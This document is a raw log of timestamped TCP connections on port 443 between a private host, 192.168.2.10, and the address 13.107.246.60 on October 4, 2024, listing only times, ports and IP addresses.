Oct 4, 2024 15:54:05.917648077 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.941349030 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.942162037 CEST	49911	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.942187071 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.942684889 CEST	49911	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.942692041 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.042932034 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.043009996 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.043081999 CEST	49911	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.043476105 CEST	49911	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.043498993 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.043509960 CEST	49911	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.043515921 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.048356056 CEST	49916	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.048404932 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.048486948 CEST	49916	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.048695087 CEST	49916	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.048707962 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.069897890 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.070377111 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.070386887 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.070899010 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.070904016 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.145945072 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.146831036 CEST	49913	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.146843910 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.147382021 CEST	49913	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.147387981 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.171603918 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.171735048 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.171794891 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.171802998 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.171849012 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.171848059 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.171930075 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.171948910 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.171962023 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.171967983 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.172878027 CEST	49914	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.172890902 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.173367977 CEST	49914	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.173374891 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.175338030 CEST	49917	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.175407887 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.175487995 CEST	49917	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.175642014 CEST	49917	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.175657988 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.255970001 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.256231070 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.256483078 CEST	49913	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.256853104 CEST	49913	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.256854057 CEST	49913	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.256872892 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.256882906 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.259824038 CEST	49918	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.259854078 CEST	443	49918	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.259972095 CEST	49918	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.260206938 CEST	49918	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.260215998 CEST	443	49918	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.297591925 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.298846960 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.298901081 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.298970938 CEST	49914	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.299072027 CEST	49914	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.299088001 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.299103975 CEST	49914	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.299108982 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.301966906 CEST	49919	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.301992893 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.302048922 CEST	49919	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.302234888 CEST	49919	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.302248955 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.589157104 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.589764118 CEST	49915	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.589773893 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.590272903 CEST	49915	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.590277910 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.702375889 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.702676058 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.702735901 CEST	49915	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.702946901 CEST	49915	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.702959061 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.702992916 CEST	49915	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.702999115 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.706079960 CEST	49920	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.706108093 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.706326962 CEST	49920	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.706999063 CEST	49920	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.707014084 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.811099052 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.811599016 CEST	49917	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.811613083 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.812033892 CEST	49917	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.812038898 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.893821001 CEST	443	49918	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.894407034 CEST	49918	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.894419909 CEST	443	49918	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.894854069 CEST	49918	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.894860029 CEST	443	49918	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.910543919 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.910784960 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.910845041 CEST	49917	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.911267996 CEST	49917	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.911282063 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.914196014 CEST	49921	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.914223909 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.914303064 CEST	49921	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.914535999 CEST	49921	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.914547920 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.951267004 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.952781916 CEST	49919	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.952795982 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.953221083 CEST	49919	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.953226089 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.994231939 CEST	443	49918	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.994302988 CEST	443	49918	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.994365931 CEST	49918	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.994632959 CEST	49918	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.994653940 CEST	443	49918	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.994663954 CEST	49918	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.994669914 CEST	443	49918	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.997555017 CEST	49922	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.997579098 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:06.997663021 CEST	49922	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.997850895 CEST	49922	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:06.997865915 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.052735090 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.053160906 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.053200960 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.053211927 CEST	49919	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.053251982 CEST	49919	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.055263042 CEST	49919	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.055283070 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.055298090 CEST	49919	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.055305004 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.060218096 CEST	49923	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.060259104 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.060328960 CEST	49923	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.060488939 CEST	49923	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.060501099 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.357117891 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.357650995 CEST	49920	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.357666969 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.358177900 CEST	49920	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.358184099 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.465688944 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.465843916 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.465965986 CEST	49920	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.466183901 CEST	49920	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.466183901 CEST	49920	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.466231108 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.466259956 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.468887091 CEST	49924	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.468931913 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.469013929 CEST	49924	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.469170094 CEST	49924	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.469186068 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.561980009 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.562561989 CEST	49921	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.562578917 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.563044071 CEST	49921	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.563050032 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.664803028 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.665349960 CEST	49922	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.665369034 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.665807962 CEST	49922	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.665813923 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.672749043 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.672944069 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.673010111 CEST	49921	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.673038960 CEST	49921	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.673053980 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.673067093 CEST	49921	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.673074007 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.675586939 CEST	49925	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.675623894 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.675693989 CEST	49925	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.675864935 CEST	49925	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.675879955 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.701562881 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.702076912 CEST	49923	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.702105045 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.702848911 CEST	49923	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.702857971 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.766910076 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.767448902 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.767493010 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.767499924 CEST	49922	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.767539978 CEST	49922	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.767604113 CEST	49922	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.767616034 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.767626047 CEST	49922	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.767632008 CEST	443	49922	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.772985935 CEST	49926	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.773015022 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.773533106 CEST	49926	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.773690939 CEST	49926	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.773708105 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.805175066 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.805242062 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.805370092 CEST	49923	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.805778027 CEST	49923	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.805799007 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.805810928 CEST	49923	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.805816889 CEST	443	49923	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.809490919 CEST	49927	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.809539080 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:07.809597969 CEST	49927	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.810024977 CEST	49927	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:07.810039997 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.159364939 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.160284996 CEST	49924	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.160310984 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.160993099 CEST	49924	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.161005020 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.259579897 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.259816885 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.259923935 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.260047913 CEST	49924	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.260075092 CEST	49924	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.260075092 CEST	49924	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.260092974 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.260102034 CEST	443	49924	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.263077974 CEST	49928	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.263118982 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.263216019 CEST	49928	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.263361931 CEST	49928	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.263372898 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.343838930 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.344377995 CEST	49925	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.344408035 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.344873905 CEST	49925	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.344882965 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.392093897 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.392690897 CEST	49916	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.392716885 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.393161058 CEST	49916	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.393172979 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.445832968 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.446067095 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.446126938 CEST	49925	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.446404934 CEST	49925	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.446424007 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.446435928 CEST	49925	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.446441889 CEST	443	49925	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.448755026 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.449112892 CEST	49929	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.449158907 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.449229956 CEST	49926	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.449239016 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.449274063 CEST	49929	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.449675083 CEST	49926	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.449681044 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.449826956 CEST	49929	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.449839115 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.496571064 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.496800900 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.496856928 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.496861935 CEST	49916	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.496896982 CEST	49916	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.497131109 CEST	49916	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.497149944 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.497162104 CEST	49916	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.497174978 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.499996901 CEST	49930	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.500039101 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.500102997 CEST	49930	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.500248909 CEST	49930	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.500260115 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.510194063 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.510648012 CEST	49927	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.510663986 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.511076927 CEST	49927	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.511085033 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.548846006 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.548927069 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.549108982 CEST	49926	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.549241066 CEST	49926	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.549258947 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.549279928 CEST	49926	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.549285889 CEST	443	49926	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.552371979 CEST	49931	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.552414894 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.552496910 CEST	49931	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.552678108 CEST	49931	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.552704096 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.612793922 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.612826109 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.612871885 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.612895012 CEST	49927	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.612941980 CEST	49927	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.613203049 CEST	49927	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.613203049 CEST	49927	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.613224030 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.613233089 CEST	443	49927	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.616379023 CEST	49932	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.616421938 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.616525888 CEST	49932	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.616734982 CEST	49932	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.616750002 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.916920900 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.917438030 CEST	49928	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.917463064 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:08.917983055 CEST	49928	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:08.917987108 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.033540964 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.034470081 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.034544945 CEST	49928	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.034593105 CEST	49928	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.034607887 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.034647942 CEST	49928	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.034655094 CEST	443	49928	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.037892103 CEST	49933	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.037908077 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.037975073 CEST	49933	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.038121939 CEST	49933	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.038134098 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.142354965 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.142946005 CEST	49929	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.142963886 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.143471003 CEST	49929	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.143476963 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.147833109 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.148255110 CEST	49930	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.148277044 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.156090975 CEST	49930	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.156104088 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.232820988 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.233290911 CEST	49931	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.233320951 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.233787060 CEST	49931	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.233793974 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.246980906 CEST	443	49929	13.107.246.60	192.168.2.10
